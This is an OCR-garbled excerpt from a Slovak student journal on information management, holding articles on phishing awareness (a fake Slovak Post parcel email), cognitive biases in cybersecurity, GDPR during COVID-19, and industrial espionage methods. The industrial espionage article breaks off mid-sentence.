déveryhodnych spoloc¢nosti. Nie tak davno sa hackeri, snazili vytvorit falosnu
strdnku pomocou ktorej chceli ziskat peniaze od majitefov internetovych domén.
Falo$nu stranku rozoslali e-mail majitefom stranok, Ze je potrebné predizit platnost’
ich domény. Stranka, prostrednictvom ktorej malo ndsledne déjst k predizeniu, hoci
vyzeral ako origindlna stranka danej spolo¢nosti, tak bol len dobre spracovanym
podvrhom.

Takyto typ Utoku je Coraz beznejSim a to nie len vo svete, ale aj v nasich
koncindch. V poslednom &ase sa stretdvame s e-mailmi, ktoré sa tvaria, ako od
Slovenskej posty. Ako mbzete nizsie na obrdzku 1 vidiet, tak e-mail pdsobi celkom
déveryhodne. M6Zeme na nom vidiet’ logo spolocnosti, ktoré vyzerd ako origindl, Ci
stru¢ny text, ktory je typickym pre tento typ sprdav. Okrem iného sprdva obsahuje
aj cislo balika vratane malého a zanedbatelného poplatku, ktory je potrebné
uhradit’, aby vém bol balik doruceny.
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Dostali ste novy balicek

\Vase zasielkove Eislo zasielky: POK28MGI9331NWH

Postupujte podl'a méjho balika

Slovenska posta

Obrdzok 1 Podvodny e-mail. Zdroj: https.//vosveteit.sk/wp-content/uploads,/2021/01/podvodny-e-mail-
ktory-sa-tvari-ako-od-slovenskej-posty.jpg

Ako uz mbdzeme vidiet’ ide o dalsi podvrh z dielne socidlneho inzinierstva. V
podstate sa ndm to mbdze zdat ako maly poplatok, lenze pri plateni nds to
presmeruje na ich podvrhnuty stranku, kde zaddme cislo nasej karty a suma o
ktoru mézeme ndsledne prist’ nemusi byt’ len 1,17€ ale omnoho viac.

Zdaver

V dneSnom svete plnom technoldgii je dobre sa vyznat v tom ¢o mbze byt pre
nds alebo pre organizdciu hrozba. Preto by sme nemali hned” vSetkému verit’ a
radSej sa ¢o najviac si preverovat informdcie a snazit’ sa ¢o najviac vyvarovat
takymto chybdm. Socidlne inZinierstvo je vo vacsine pripadov ten najlacnejsi, a pre
znalého cloveka aj najjednoduchsi spbésob, ako narusit bezpecnost aj velmi
robustnych systémov. Organizdcia alebo jednotlivec sa mbze stat’” obet'ou qj
nepriamo, aby niekto ukradol informdcie alebo peniaze, nemusi byt napadnuty ich
vlastny systém staci, Ze vyuzije spravne techniky socidlneho inZinierstva a vie sa
dostat’ k udajom, ktoré potrebuje.
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DO COGNITIVE BIASES HAVE AN IMPACT ON CYBER
SECURITY?

Daniela Pucicov

Abstract

With humankind continuously taking faster and deeper steps into the digital erq,
with devices accompanying both our professional and personal life 24/7, becoming
a victim of cyber attacks is becoming more probable every day. This is why
cybersecurity is particularly important. It encompasses everything that pertains to
protecting our sensitive data, personally identifiable information, protected health
information, personal information, intellectual property, data, and governmental
and industry information systems. But cybersecurity systems have their flaws,
especially when it comes to the human factor. This article aims to present the risks
of cognitive biases in cyber security and ways to overcome the potentially
catastrophic errors they may cause.

Key words: Cyber-security, cognitive bias, errors, human factor

Introduction

The human brain is exposed to vast amounts of information on a daily basis.
Processing all the information, taking decisions, and making judgements are
activities highly demanding of energy. As an attempt to simplify information
processing, our brain has the tendency to create patterns and systems which can
often result in cognitive biases - systematic errors or deviations from rationality in
judgment.t According to Cherryt?, cognitive biases can be related to memory (how
and what we remember) or to limited attention (because the “full-attention mode”
is a scarcity, our brains become selective about the things they pay attention to).
The cognitive biases can be a “fault” of any person, now that they are “inherent
characteristics of human nature™™,

This article aims to draw attention to the human factor in the occurrence of cyber
security errors, specifically the cognitive biases effect on security decision-making
performed by people.
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Cognitive biases and cyber security threats

As studies have shown, many of the occurring cyber security issues are
happening because of cognitive biases. According to Willis Towers Watson Cyber
Risk Culture Survey™, 66% of cyber breaches are attributed to human errors (see
Figure 1). Attackers target cognitive bias in combination with a system’s technical
flaws to exploit it successfully, or a better explanation of the discussed problematic,
we shall take a look at some specific cognitive biases examples and how they
impact cyber security:

16

M Employee negligence
or malfeasance

External threat
M Social engineering

B Network business
interruption

I Cyber extortion
B Other

Figure 1. Percentage of claims by breach. Source: Willis Towers Watson Cyber Risk Culture Survey

The Ostrich effect is the tendency towards avoidance of potentially
unpleasant information or situations perceived as negative. In an
organization’s cyber security environment this could mean ignoring statistics
or news about cyber-attacks on organizations, or not taking into
consideration security recommendations and best practices because of the
company’s unwillingness to spend extra capital or the employee’s
indisposition towards making the extra effortt!,

. The optimism bias is the “illusion of invulnerability™®, in other words, the

tendency to believe that we are less likely than others to find ourselves in the
negative circumstances others are experiencing. It is the perception of
individuals that their risk of information security attacks, such as phishing, to
be lower than others. This also extends to organizational contexts, where
individuals believe their own organization to be at relatively lower risk to
information security threats than other competitor organizations. If
individuals are optimistically biased regarding information security threats,
they may not take the precautionary measures to reduce risks, which will in
turn lead to increased vulnerability.
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4.

Confirmation Bias consists of a tendency to search for, interpret, favor, and
recall information in a way that confirms or strengthens one's prior personal
beliefs or hypothesesPl. Confirmation Bias can trick the mind into only
looking for specific issues related to an IT infrastructure, based on one's
previous experience and understanding, instead of considering security as a
whole. When security professionals are exploring a theory for a particular
problem, they are highly susceptible to confirming their beliefs by only
searching and finding support for their hunch. For example, an experienced
security analyst may “decide” what happened prior to investigating a data
breach, assuming it was a malicious employee due to previous events.
Expertise and experience, while valuable, can be a weakness if people
regularly investigate incidents in a way which only supports their existing
belief.

Availability heuristic appears when decision makers rely too much on the
recent trends or the information which comes to mind first . In the case of an
attack, if the focus is only given to a specific issue rather than considering
the security as a whole, then the availability heuristic is in place. Even though
taking the necessary actions to prevent the trending attacks is critical, it is
equally important to continue with other security considerations.

Fatalistic thinking refers to an outlook where individuals may believe they
have no power to influence risks personally, as risks are controlled by
external forces. This cognitive bias stems from misinterpretations of risk and
can lead to unwise behavioral consequences. In information security, this
might mean believing there are no measures one can take to prevent a
phishing attack, because it’s “something that will happen anyway”. Likewise,
there is some people’s tendency to believe that everything is ‘hackable” and
therefore there should be no point in protection efforts. This feeling may
augment with home working, as employees are distanced from usual
organizational support.

Conclusion and recommendations

As highlighted at the beginning of this article, the incidence of human factor errors
(oftenly caused by cognitive biases) is significantly high. The biases we discussed
are solely a small sample of how the cybersecurity industry is shaped by human
decision makingl’l. To address the impact of cognitive bias, it is necessary to focus
on understanding people and how people make decisions at the individual and
organizational level in the cybersecurity industry.

17
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The crucial requirement from a company to minimize the incidence of cognitive
biases is to acknowledge their presence and find where specifically do they occur.
Aside from the fact that companies must continually train their employees in
information security and provide simulation exercises on a regular basis, it is
important to raise awareness of common cognitive biases across agencies and
within security teams to better identify situations where critical decisions are
susceptible to the negative impact of mental shortcuts.

By improving the understanding of biases, it becomes easier to identify and
mitigate the impact of flawed reasoning and decision-making conventions. More
tangibly, understanding user behavior at the individual level can also help minimize
the degree to which cognitive biases drive an agency’s security posture.

Manazérska Informatika
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COVID-19 A PROBLEMATIKA GDPR

COVID-19 AND GDPR PROBLEMS
Peter Jelencik

Abstract

The aim of the article is to present the issue of GDPR during the COVID-19
pandemic, which in some way significantly interferes with the legal basis of the
GDPR Regulation..

Key words: GDPR, COVID-19

Abstrakt
Cielom ¢€lanku je predstavit’ problematiku GDPR pocas pandémie COVID-19, ktord
zasahuje urcitym spdsobom vyrazne do prdavneho zakladu nariadenia GDPR.

KPuéové slova: GDPR, COVID-19

Uvod

ldedlny svet, upondhland doba, neobmedzené moznosti cestovania a mnoho
inych slovnych spojeni, predstavuju pre vacsinu fudi hlavné priviastky zivota pred
aktudlne prevlddajucou pandémiou. Svet ako sme ho poznali sa ndhle a zavratne
zmenil. Aktudlna situdcia vsak nezasiahla iba samotnych obyvatelov, ale vyrazne
otestovala qj pripravenost’ a promptnost’ krajin na celom svete. Mnoho krajin na
prichod virusového ochorenia danych rozmerov nebolo vbébec pripravenych.
Niektoré z nich zacali zo zavddzanim rdznych opatreni uz v zaciatkoch prepuknutia
virusu vo svete, naopak iné sa zo zavddzanim opatreni az tak nepondhlali. Dané
rozhodnutia sa ndsledne odzrkadlili na situdciach a poctoch nakazenych fudi v
jednotlivych krajindch. Zavddzanie rychlych legislativnych zmien sa vyrazngm
spdsobom dotklo aj ochrany osobnych udajov, tj. nariadenia GDPR.

Co je GDPR?

,GDPR (General Data Protection Regulation, skratene teda GDPR) je univerzdlne
europske nariadenie, ktoré od 25.5.2018 zavdadza novu Upravu prdv a povinnosti v
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oblasti spracuvania a ochrany osobnych udajov. GDPR je zavazné pre kazdého,
kto spracuva osobné Udaje jednotlivcov nachddzajucich sa v Eurdpskej unii. 0]

Ako je z jednej z mnoho definicii GDPR zrejmé, podstatou tohto nariadenia je
chrdanenie osobnych udajov jednotlivcov pred ich neoprdvnenym pouzivanim. Pod
osobnymi udajmi rozumieme najmd informdcie, ktoré vytvaraju identitu fyzickych
0s6b - jednotlivcov. Ide najmé& o konkrétne udaje, akymi su napriklad meno,
priezvisko, adresa, rodné cislo, e-mailovd adresa i telefonne Cislo konkrétnej
fyzickej osoby. Vymenované su len niektoré zo vSetkych vyznamnych
Jdentifikdtorov ™ GDPR povazuje za osobné uUdaje aqj také informdcie,
prostrednictvom ktorych je mozné jednotlivcov jednoznac¢ne identifikovat
(napriklad zamestnanecké cislo, fotografie a pod.). Za citlivé informdcie, ktorgm je
potrebné venovat zv(ysenu pozornost’ pri ich ochrane, sa vSak povazuju aqj
informdcie o zdravotnom stave jednotlivcov.' Prdve dany typ informdcii je v

spojitosti s virusovgm ochorenim COVID-19 aktudlne najviac vgznamnygm.

COVID-19 a GDPR

COVID-19, resp. KORONAVIRUS je vyrazné infekéné ochorenie, ktoré aktualne

trdpi cely svet. Toto ochorenie je vyvolané koronavirusom SARS-CoV-2, pricom
postihuje najmd dychaci systém cloveka. Virus sa do sveta postupne rozsiril z
¢inskeho mesta Wu-chan, v ktorom sa prvi infikovani pacienti objavili uz v decembri
minulého roku (2019). Vplyv, ako aj priebeh virusu na fudsky organizmus je rézny
u kazdého cloveka. Faktom vsak je, Ze tento virus mdze viest’ az k Umrtiu pacienta.
Dalsim délezitym faktorom je siritelnost daného virusu prostrednictvom kvapdcok
sekrétu pri kasli, kgychani a rozprdavani, o md za ndsledok rychly presun virusu z
Cloveka na ¢loveka pri bezprostrednom kontakte danych oséb.[*
Od zaciatku prepuknutia virusu na Slovensku je vyvoj Sirenia ndkazy oproti ingm
krajindm pomerne stabilny. Odbornici poukazuju na podchytenie jednotlivych
ohnisk vyskytu pacientov so zistenym ochorenim. K priaznivému vyvoju vyrazne
pomohlo viacero Uvodnych rdznych opatreni a odporucani viddy, z ktorych mnoho
je uzko spatych s problematikou GDPR.

Jednou z najviac dotknutych skupin sU zamestndvatelia. Prave oni musia
pristupit’ k zdsadnym opatreniam, prostrednictvom ktorgych na jednej strane
zabezpecia ochranu zdravia svojich zamestnancov, a na strane druhej aj ochranu
ich osobnych udajov, resp. udajov o ich zdravotnom stave.[®!
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GDPR pre firmy v ¢ase koronakrizy

Pri zavadzani GDPR v roku 2018 bolo mnoho podnikatelov voci danému
nariadeniu skeptickych, nakolko jeho implementdcia si vyzadovala pozmenenie
niektorych zavedenych postupov, ako aj zvySenie byrokratického zatazenia.
Aktudlna situdcia opdtovne nuti mnohych podnikatelov a zamestndvatelov k
zvyseniu pozornosti ochrany osobnych udajov. Ide najmé o spracuvanie osobnych
udajov tykajucich sa zdravia svojich zamestnancov, respektive v niektorych
pripadoch aj obchodnych partnerov, klientov alebo ingch osbéb, ktoré vstupuju do
priestorov a prevdadzok danych spolo¢nosti. Spracovanie Udajov tykajucich sa
zdravia zamestnancov je Specifickou osobitnou kategdriou osobnych udajov.
,GDPR ustanovuje vseobecny zdkaz pre spracuvanie osobitnych kategorii
osobnych udajov, zaroven vsak obsahuje aj kataldg vynimiek, v ktorych je mozné
spracuvat’ tuto kategdriv.“B! Inak povedané, dané udaje mozno ,ziskavat a
spracovavat’ len za predpokladu, Zze organizdcia disponuje pravnym zdkladom
spracuvania a sucasne - existuje vynimka zo véeobecného zdkazu spracuvat’ citlivé
osobné udaje ! Ucinnost nariadenia GDPR sa vplyvom pandémie nijako
nezastavuje a zamestndvatelia tak nad’alej musia spracovdvat osobné udaje
podla zadkonom stanovenych kritéri.

Medzi vhodné vynimky pre spracuvanie zdravotnych udajov radime spracuvanie
osobnych udajov z dévodu:l”

e nevyhnutného na Ucely preventivneho alebo pracovného lekdrstva,

e verejného zaujmu v oblasti verejného zdravia (na zdklade prava EU alebo
Clenského statu),

e plnenia povinnosti zamestndvatela v oblasti pracovného prdava (ochrana
zdravia a bezpecnosti pri prdci zamestnancov),

e ochrany zivotne ddélezitych zdujmov dotknutej osoby alebo inej fyzicke;j
osoby v pripade, ze dotknutd osoba nie je fyzicky alebo prdavne spbdsobild
vyjadrit’ svoj suhlas,

e sUhlasu dotknutej osoby.

V spojitosti s COVID-19 sa medzi osobné udaje, ako aj udaje tgkajuce sa zdravia
prislusnej dotknutej osoby zarad’uju najma:t!
e Udaje tykajuce sa prdceneschopnosti zamestnanca v kontexte ndkazy
COVID-19,
e Udaje indikujuce pobyt zamestnanca v oblastiach ozna¢enych ako vysoko
rizikové z pohfadu moznej ndkazy virusom,
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e Udaje ohladom mozného kontaktu s osobou s podozrenim na ndkazu
COVID-19,

e Udaje ziskavané v suvislosti s meranim telesnej teploty pri vstupe do
priestorov zamestndavatela.

,Slovenski zamestndvatelia, ako aj ostatné organizdcie sa mézu pri stanovovani
vhodného prdavneho zdkladu a prislusnej vynimky zo zdkazu spracuvania citlivgch
dat opriet’ najma o tieto zdkonyt

e Zd&kon o civilnej ochrane obyvatelstva, na zaklade ktorého musi byt vydané
konkrétne opatrenie a Zdakon o ochrane, podpore a rozvoji verejného
zdravia (napr. opatrenie Uradu verejného zdravotnictva o merani telesnej
teploty, opatrenie o povinnej 14-driovej karanténe u oséb, ktoré prisli zo
zahranicia, pripadne d’alSie opatrenia).

e Zd&kon o bezpecnosti a ochrany zdravia pri prdci, na zdklade ktorého je
zamestndvatel povinny napriklad posudzovat’ riziko ndkazy na pracovisku,
a v pripade potreby vykonat vhodné opatrenia na zabezpecenie ochrany
zdravia zamestnancov.

e Zdkonnik prdce, na zdklade ktorého je zamestndvatel povinnyg napriklad
robit’ opatrenia v zdujme ochrany zivota a zdravia zamestnancov pri prdci;
alebo je povinny svojim zamestnancom zabezpecovat také pracovné
podmienky, aby mohli riadne plnit’" svoje pracovné ulohy bez ohrozenia
Zivota, zdravia a majetku. M

Pri spracovdavani osobnych udajov o zdravotnom stave je spolocnost povinnd
informovat’ zamestnancov, a taktiez vsetky dotknuté osoby, o podmienkach a
spbésobe spracovdavania danych udajov. ,Zamestndvatelia su povinni vyzadovat’
zdravotné informdcie iba v rozsahu, v akom to vnutro$tdtne prdvne predpisy
uMmoznuju a prisne dodrziavat zdsadu minimalizacie spracuvanych dat.“[6] Pod
zdsadou minimalizdcia rozumieme spracovdvanie iba tych osobnych udajov o
zdravotnom stave, ktoré su relevantné a nevyhnutné pre zabrdnenie Sirenia virusu,
a to iba na nevyhnutne dlhu dobu.

Zozbierané informdcie o zdravotnom stave svojich zamestnancov je
zamestndvatel povinny chrdnit, tj. zabezpelit' také opatrenia na ochranu
osobnych udajov, aby dané udaje nemohli byt’ zneuzité!?. Tretim osobdm modze
zamestndvatel poskytnut’ dané osobné Udaje o zdravotnom stave zamestnancov
iba vtedy, ak je to nevyhnutné a md na to zdkonny dévod. Ak je to nevyhnutné z
dévodov verejného zdujmu v oblasti verejného zdravia, mbéze zamestndvatel tieto
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udaje ndsledne poskytnut’ napr. nemocnici alebo orgdnom &inngm v trestnom
konani. V Zziadnom pripade zamestndavatel nemd pravo poskytovat dané osobné
udaje o tom, kto je konkrétne nakazeny, médidm c¢i verejnostil’!

MERANIE TELESNEJ TEPLOTY

V suvislosti s aktudinou situdciou, a jedngm z priznakov ochorenia, je zavedenie
merania telesnej teploty. Namerand hodnota telesnej teploty ¢loveka sa taktiez
povazuje za jeden z citlivych osobnych udajov. Na zdklade vyhldsenych opatreni a
Uznesenia vlady Slovenskej republiky, hlavny hygienik Slovenskej republiky vydal
Usmernenie ako postupovat pri merani telesnej teploty, ktoré vSak ukladd
povinnost’ merania telesnej teploty iba pri vstupe do nemocnic a priemyselnych
podnikov. Zamestndvatelia, na ktorych sa uvedené akty nevztahuju, musia vyuzit’
in0 vhodnu vynimku pre spracuvanie zdravotnych zdznamov nez vynimku
verejného zaujmu v oblasti verejného zdravial*)

PROBLEMATIKA HOMEOFFICE

V sucCasnej situdcii mnoho zamestndvatefov umoziuje svojim zamestnancom
pracu z pohodlia domova. V&csina zamestndvatelov vsak nebola vopred
pripravend na hromadné zavddzanie prdce prostrednictvom ,home office”. V
tomto pripade je na mieste otdzka ochrany spracuvanych dat, nakolko
zamestnanci  pracuju  prostrednictvom pocitacov  pripojenych do beznych
domadcich internetovych sieti bez zvysSenej Urovne zabezpecenia. Tuto Uroven
zabezpecenia zamestndavatel nevie ovplyvnit, a tak moéze Ffahko déjst’ k uniku
danych osobnych uddajov. Pri praci mimo  kanceldrskych  priestorov
zamestndvatela sa k citlivgm udajom moézu omnoho fahSie dostat’ taktiez aj iné
osobyl,

Zamestndvatelia by mali svoju pozornost’ upriamit’ najmd na aktualizdciu
bezpecnostnej firemnej politiky, pravidiel nakladania s citlivgmi informdciami a
prijat vhodné opatrenia. Dané opatrenia je potrebné ndsledne ndlezite
zdokumentovat’ a informovat’ o nich vSetky zainteresované strany.t"

GDPR a zavedenie opatreni monitorovania oséb

Velmi zdvaznou a diskutovanou témou v spojitosti s vyvojom aktudinej situdcie
a ndrastom pozitivhe testovanych oséb je monitoring obyvatefov s cielom
lokalizacie ich pohybu.

Po prepuknuti ndkazy, dna 27.3.2020 nadobuda ucinnost zdkon, fudovo

nazyvany ,lex korona“. Tento zdkon prind$sa so sebou novelizdciu viacerych
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pravnych predpisov, s cielom zaviest d'alSie opatrenia v boji s pandémiou
koronavirusu.t®]

Spolu s novelizdciou viacerych zdakonov bola zavedend moznost’ spracuvania
lokaliza¢nych udajov z mobilnych zariadeni v suvislosti so vznikom pandémie alebo
Sirenim nebezpecnej nakazlivej ludskej chorobuy.

LAk je to nevyhnutné na plnenie Ulohy vo verejnom zdujme alebo pri vykone
verejnej moci, ¢i z inych zdkonnych dévodov, mbézu statne orgdny ziskavat agj
lokaliza¢né Udaje obcanov.”1 Tieto Udaje vSak moézu ziskavat primdrne
anonymizovanym spbésobom. ,Anonymizdcia znamend pouZitie techniky, ktord
zabranuje akémukolvek dostupnému spdtnému identifikovaniu jednotlivcov. T2
Vo vnutrostdtnych prdavnych predpisoch, ktorgmi sa transponuje ePrivacy
smernica je stanovend zdsada, ze operdtor mdze pouzit' lokalizacné udaje iba
vtedy, ak sU anonymné alebo s jednotlivec poskytol suhlas. M Takyto spdsob
zbierania lokaliza¢nych udajov pomdha zaznamenat’ zvysenu koncentrdciu oséb
(mobilnych teleféonov) na urcitom mieste.

V nevyhnutnych pripadoch, ,ak nie je mozné spracuvat’ lokaliza¢né udaje iba v
anonymizovanej podobe, mdzu clenské Staty postupovat podfa ¢l. 15 ePrivacy
Smernice, ktorgy umoznuje vo vynimocnych pripadoch ¢lenskym Stdtom prijat’ v
oblasti elektronickej komunikdcie mimoriadne legislativne opatrenia na
zabezpeclenie napr. ndrodnej bezpecnosti. Pri prijimani takejto legislativy vsak
musia ¢lenské staty zaviest’ primerané zdaruky, medzi ktoré patri najma primerany
sudny opravny prostriedok. ™!

Mobilni operdtori spracuvaju lokaliza¢né udaje primdrne na Ucel identifikdacie
prijemcov sprdv, ktorgm je potrebné ozndmit’ osobitné opatrenia Uradu verejného
zdravotnictva SR v zdujme ochrany Zivota a zdravia, a zdroven tieto Udaje
poskytuju Uradu verejného zdravotnictva SR na zdklade oddévodnenej pisomne;
ziadosti. Urad ndsledne méze dané udaje zbierat, spracuvat a uchovdévat pocas
trvania mimoriadnej situdcie alebo nudzového stavu v zdravotnictve, najdlhsie vsak
do 31. decembra 2020.1

Po vyraznych komplikaciach s umiesthovanim navrdtilcov do  $tdtnych
karanténnych zariadeni sa Slovensko rozhodlo spustit’ inteligentnyd domdcu
karanténu. Zaciatky jej fungovania boli spojené s viacerymi vygznamnygmi
problémami. Jedngm z hlavnych problémov bol fakt, ze danu mobilnu aplikdciu si
l'udia vedeli stiahnut’ iba na mobilné teleféonny s operacnym systémom ANDROID.
.Pocas krizovej situdcie z dévodu ochorenia COVID-19 mbze Urad verejného
zdravotnictva rozhodnut o tom, Ze fyzické osoby, ktoré maju povinnost’ podrobit’
sa nariadenej izoldcii, ju mézu absolvovat v domdcom prostredi za podmienky
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pisomného suhlasu alebo inak hodnoverne preukdzatelného suhlasu S
podrobenim sa izoldcii doma za pouzitia mobilnej aplikdcie na monitorovanie jej
dodrziavania. 0!

,Zakladngmi podmienkami na absolvovanie karantény v domdcej izoldcii je
smartfén s kamerou a ur¢ovanim polohy, nonstop Wi-Fi pripojenie alebo dostatok
mobilnych dat a dostatocny mobilny signdl na mieste izoldcie. Obcan musi v
domdcej izoldcii absolvovat’ test na COVID-19. Pocas domdcej izoldcie ob&an ani
ostatni ¢lenovia domdcnosti nemozu opustit” miesto izoldcie. ™

Uvedenu aplikdciu je vhodné nainstalovat’ si eSte pred prichodom na Uzemie
Slovenska. Po prichode, a jej ndaslednej aktivdcii, su Fudia najrychlejsou trasou
nasmerovany do domdcej izoldcie. Ako je zrejmé z vyssie uvedenych podmienok,
obyvatelia nachddzajuci sa v domdcej izoldcii su nuteny vyuzit pomoc rodinnych
prislusnikov, susedov, resp. formu dondskovych sluzieb pre zabezpecenie
potrebnych zdsob. Kontrolovanie domdcej izoldcie prebieha prostrednictvom
ndhodnych vyziev na rozpoznanie prostrednictvom biometrie tvdre, resp.
prostrednictvom lokaliza¢nych udajov daného mobilného zariadenia. Po piatich
dnoch inteligentnd aplikdcia vyzve obyvatela, aby sa objednal na testovanie. Po
negativnom vysledku testu je obyvatel zbaveny domacej izoldcie. Urad verejného
zdravotnictva SR je oprdvneny uchovavat ziskavané informdcie iba po dobu
nevyhnutny na monitorovanie daného obyvatela. Po skonceni domdcej izoldcie
daného obyvatelq, je tento Urad povinny udaje odstrdnit’ a d’alej neuchovdavat'™

Zdaver

Napriek neustdle sa meniacej situdcii v spojitosti so Sirenim ndkazy je dbélezité
neustdle sledovat’ aktudine informdcie a vyhldsenia viady. Taktiez je potrebné
klgst doéraz na dodrziavanie potrebnych bezpecnostnych opatreni &i uz priochrane
svojho zdravia, a pri spracovdvani a nardbani s osobngmi udajmi je ddlezité konat’
podla zakonnych pravidiel.
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PRIEMYSELNA SPIONAZ

INDUSTRIAL ESPIONAGE
Nikoletta Szegfiovad

Abstract

The aim of the article is to characterize industrial espionage using selected
examples. The work deals with the definition of the term, points to the methods of
information collection in the competitive environment of companies and defines
the areas and threats that are most affected by this issue.

Key words: industrial espionage, trade secret

Abstrakt

Ciefom ¢lanku je charakterizovanie priemyselnej Spiondze pomocou vybranych
prikladov. Praca sa zaoberd definovanim pojmu, poukazuje na metddy zberu
informdcii v konkuren¢nom prostredi podnikov a vymedzuje oblasti a hrozby,
ktorych sa tato problematika najviac dotyka.

Klucové slovd: priemyselnd Spiondz, obchodné tajomstvo

Uvod

Priemyselnd Spiondz je pojem, ktory histdriu ludstva sprevadza uz dlhé rokuy.
Kazdy Uspesny podnik vynikd nad svojou konkurenciou v nejakych detailoch, ktoré
sU navonok zjavné, ale ich Specifikd pre konkurenciu nezndme. M6ézu to byt nové
vyskumy, manazérske systémy, zlozenie produktov, technologické postupy a
mnohé iné zdlezitosti, ktoré podnik posuvaju pred jeho konkurenciu. Konkurencia
takéhoto podniku md& dve moznosti pre udrzanie svojej pozicie na trhu, bud’ vyvinie
vlastné Usilie na to aby sa vyrovnala, predstihla podnik, ¢o je ¢asto finanéne zlozité
a ¢asovo ndrocne, alebo sa uchyli k priemyselnej Spiondzi a pokusi sa o ¢asovo
menej naroc¢ny, ale na druhej strane riskantnejsi spbsob a ziska poznatky tohto
podniku, ktoré jej pombzu k rastu. Tieto pripady suU velmi casté vo vyspelych
krajindch ako USA, Nemecko, Japonsko, kde dochddza k priemyselnej Spiondzi a
kradezi obchodného tajomstva zo strany podnikov rozvojovych krajin najma z
Ciny, Indie, Vietnamu a ingch.2
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Ciefom ¢ldnku je predstavenie a priblizenie problematiky priemyselnej Spiondze
a krédeze obchodného tajomstva. Dalej vysvetlit, pre¢o je priemyselnd $piondz
pdachand a aky ma dopad na stabilitu podnikov. A nakoniec poukdzat na jednotlivé
metoddy a priklady z redinej praxe.

V Uvodnej Casti je predstavend priemyselnd Spiondz a jej celkovd charakteristika,
dévod $piondze, najcastejSie metddy. V druhej Casti sU opisané obvyklé ciele
priemyselnej Spiondze. Tretia Cast’ ¢ldnku opisuje redlne priklady z praxe.

Priemyselnd Spiondz
Priemyselnu Spiondz mbézeme skrdtene definovat’, ako ¢innost’, ktorou sa Utocnik

(vlddna organizdcia, obchodnd spolo¢nost, viddna informacnd sluzba, jednotlivec,

mimovlddna organizdcia) pokusa ziskat' obchodné tajomstvo poskodeného. Vo

vacsine pripadov sa takéto sprdvanie, najmd pokial sa tyka pristupu k

obchodnému tajomstvu povazuje za nezdkonnét,

K priemyselnej Spiondzi vedu vzdy nejaké motivy. Jedngm z nich je konkurencia.
V tejto suvislosti priemyselnd Spiondz sluzi na ovlddnutie urcitych trhov.
Priemyselnd Spiondz sa z roka na rok stdva intenzivnejSou. Jej metddy su stdle
tvrdSie a bezohladnejsie a jej techniky su stdle dokonalejsie.

Metoddy priemyselnej Spiondze sa nie casto uchyluju k ndsiliv, pretoze hlavngm
cielom je ziskat’ informdcie od poskodeného bez toho, aby si bol vedomy krdadeze.
Ako ndhle md& poskodeny podozrenie z priemyselnej Spiondze je schopny rychlo
prijat’ opatrenia, ako zmenu pristupovych hesiel, Upravu bezpecnostnej politiky,
alebo zmenit’ svoje rozhodnutia a tak prekazit’ snahy utocnika. Najcastejsie metddy
priemyslenej Spiondze sul®!:

e PHISHING - Cinnost, pri ktorej sa podvodnik snazi vylakat od pouzivatelov
rézne hesld, napr. k bankovému Uctu. Vacsinou prebieha tak, Zze sa zaloZi
webstrdnka, ktord vyzerd ako presnd kopia uz existujucej ddveryhodnej
stranky, alebo ponuka nejaké vghody po prihldseni cez ich webstranku. Meno a
heslo zadané do phishingovej stranky, sa odoslu podvodnikovi, ktory ich méze
zneuzit. Phishing mo&zZe prebiehat’ qj tak, Ze sa rozposielaju e-maily, ktoré
oznamuju pouzivatelom zmenu U¢tu alebo jeho obnovenie a tak lakaju hesld.”

e TRIK - Najpouzivanejsi. Spidn sa vyddava za inu osobu.

e PODVOD - Trik vys$Sej urovne. Metdda falosnych vyjedndvacov. Tito maju
z&ujem poskytnut’ napriklad licenciu, ziskat’ licenciu alebo uzavriet' prislusnu
obchodnu zmluvu. Pri rokovaniach sa snazia ziskat' ¢o najviac konkrétnych
informdcii. Po ich ziskani od d’alSieho rokovania ¢asto odstupuju.
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PODPLACANIE - Prepracovand a ¢asto pouzivand metdda. Je mozné ho odhalit’
velmi tazko predtym, nez je zjavné, napr. z vysledkov vo vyrobkoch
konkurencie alebo z konania Spiéna. Ponukaju a poskytuju sa zamestnancom
konkurencnych podnikov odmeny presahujuce mnohondsobne ich mesacné ¢i
rocné prijmy. Aj preto je podpldcanie jednou z najuspesnejSich metod
priemyselnej Spiondze.

KRADEZ - Velmi ¢astym javom su krddeze kosov s odpadovym papierom.
ODPOCUVANIE - V su¢asnosti najrozsirenejsia metoda.

FOTOGRAFOVANIE, FILMOVANIE - Umoznuju to dnes dokonalé teleskopy,
miniaturne kamery a pod.

DOTAZNIKOVE AKCIE - Zastretd a legdina metdda. Podnikatefom prichddzaju
z rbznych §tatov a od rdznych firiem ¢i institucii. Ak je dotaznik Sikovne a
komplexne zostaveny a ak ho podnikatel vyplni a zasle dotazovatelovi, prezradi
skoro vsetko o svojom hmotnom a nehmotnom majetku.

ELEKTRONICKA SPIONAZ - Ziskavanie informdcie pomocou informacnej a
komunikacnej technoldgie. M6zZe ist” o naburanie sa do pocitacového systému
spolo¢nosti, za U¢elom ziskania sukromnych informdacii. Niektori hackeri mézu
pouzivat’ mend, alebo osobné informdcie o klientoch, aby ich mohli neskor
okradnut. (Utoky pomocou trojskych konov umiestnenych v e-mailoch)

Obvyklé ciele priemyselnej Spiondze:

Obchodné tajomstvo - Ziskavanie chrdanenych informdcii o existujucich alebo
pripravovanych produktoch. Informdcie predstavujuce obchodné tajomstvo su
udaje akejkolvek povahy, ¢i uz ide o hospoddrske, priemyselné, technické alebo
politickét,

Informdcie o klientoch - Informdcie mézu byt pouzité na ukradnutie biznisu
alebo zneuzité na poskodenie dobrého mena spolocnosti,

Financné informdacie - Informdcie mozno pouzit' na poskytnutie lepsich ponuk
zd&kaznikom, obchodnym partnerom & zamestnancom firmyt®,

Marketingové informdcie - Informdcie umoznia konkurentom pripravit’ véasné
odpovede na marketingové kampane.

Priklady zo zivota:

Histéria poznd a poznd miliony prikladov trestnych cinov v oblasti krddeze

tajomstva vyroby réznych predmetov. Uvadzame tie hlavné:

130

e Benjamin Pierce Bishop, 59-ro¢ny zamestnanec nemenovaného doddvatela
obrany, bol zatknuty v decembri 2012 a obvineny z prechovdvania a
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poskytovania ndrodnych vojenskych tajomstiev vrdatane informdcii o
jadrovych zbraniach cudzincovi. Bishop bol byvalgy dbéstojnik americkej
armddy a pracoval na tichomorskom veleni USA v Oahu na Havaji. Mal
romanticky vztah s 27-ro¢nou Ciankou, ktory stretol na medzindrodnej
konferencii o vojenskej obrane. V jeho dome sa naslo niekolko tajnych
dokumentov a udajne jej odovzddaval tajné informdcie po dobu devatndstich
mesiacov od mdja 2011 do decembra 2012. Bishop vykonal prisne tajnu
bezpecnostny previerku od jula 2002. Odovzdané informdcie Udajne
